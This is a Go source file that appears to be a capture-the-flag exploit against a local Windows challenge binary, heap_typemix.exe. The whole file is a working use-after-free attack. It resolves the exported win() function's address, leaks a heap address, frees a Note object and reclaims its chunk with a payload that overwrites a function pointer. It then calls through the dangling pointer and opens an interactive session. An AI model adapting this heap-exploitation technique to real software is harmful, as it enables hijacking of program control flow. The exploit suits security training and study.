package main

import (
	"bytes"
	"fmt"
	"log"
	"strconv"
	"winpwn"
)

func parseAddr(line []byte) (uint64, error) {
	idx := bytes.Index(line, []byte("addr=0x"))
	if idx == -1 {
		return 0, fmt.Errorf("no addr= in %q", line)
	}
	return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}

func main() {
	pf, err := winpwn.OpenPE("heap_typemix.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found in export table: %v", err)
	}
	base, err := pf.ImageBase()
	if err != nil {
		log.Fatalf("ImageBase: %v", err)
	}
	winAddr := base + winRVA
	pf.Close()
	fmt.Printf("[+] win() @ 0x%X\n", winAddr)

	tube, err := winpwn.Spawn("heap_typemix.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine: %v", err)
	}

	if err := tube.SendLine([]byte("N victim")); err != nil {
		log.Fatalf("SendLine N: %v", err)
	}
	resp, err := tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine N resp: %v", err)
	}
	victimAddr, err := parseAddr(resp)
	if err != nil {
		log.Fatalf("parse victim addr: %v", err)
	}
	fmt.Printf("[+] victim Note @ 0x%X\n", victimAddr)

	if err := tube.SendLine([]byte("D 0")); err != nil {
		log.Fatalf("SendLine D: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine D resp: %v", err)
	}
	fmt.Printf("[+] freed Note (dangling pointer at id=0)\n")

	payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
	payloadHex := winpwn.Enhex(payload)
	if err := tube.SendLine([]byte("T " + payloadHex)); err != nil {
		log.Fatalf("SendLine T: %v", err)
	}
	resp, err = tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine T resp: %v", err)
	}
	tokenAddr, err := parseAddr(resp)
	if err != nil {
		log.Fatalf("parse token addr: %v", err)
	}
	fmt.Printf("[+] Token @ 0x%X (want 0x%X)\n", tokenAddr, victimAddr)
	if tokenAddr != victimAddr {
		fmt.Printf("[-] WARN: addresses don't match -- chunk reuse didn't happen\n")
		fmt.Printf("    (check: did LFH activate? too many prior allocations?)\n")
	}

	fmt.Printf("[+] dispatching P 0 (UAF call through dangling pointer)...\n")
	if err := tube.SendLine([]byte("P 0")); err != nil {
		log.Fatalf("SendLine P: %v", err)
	}

	tube.Interactive()
}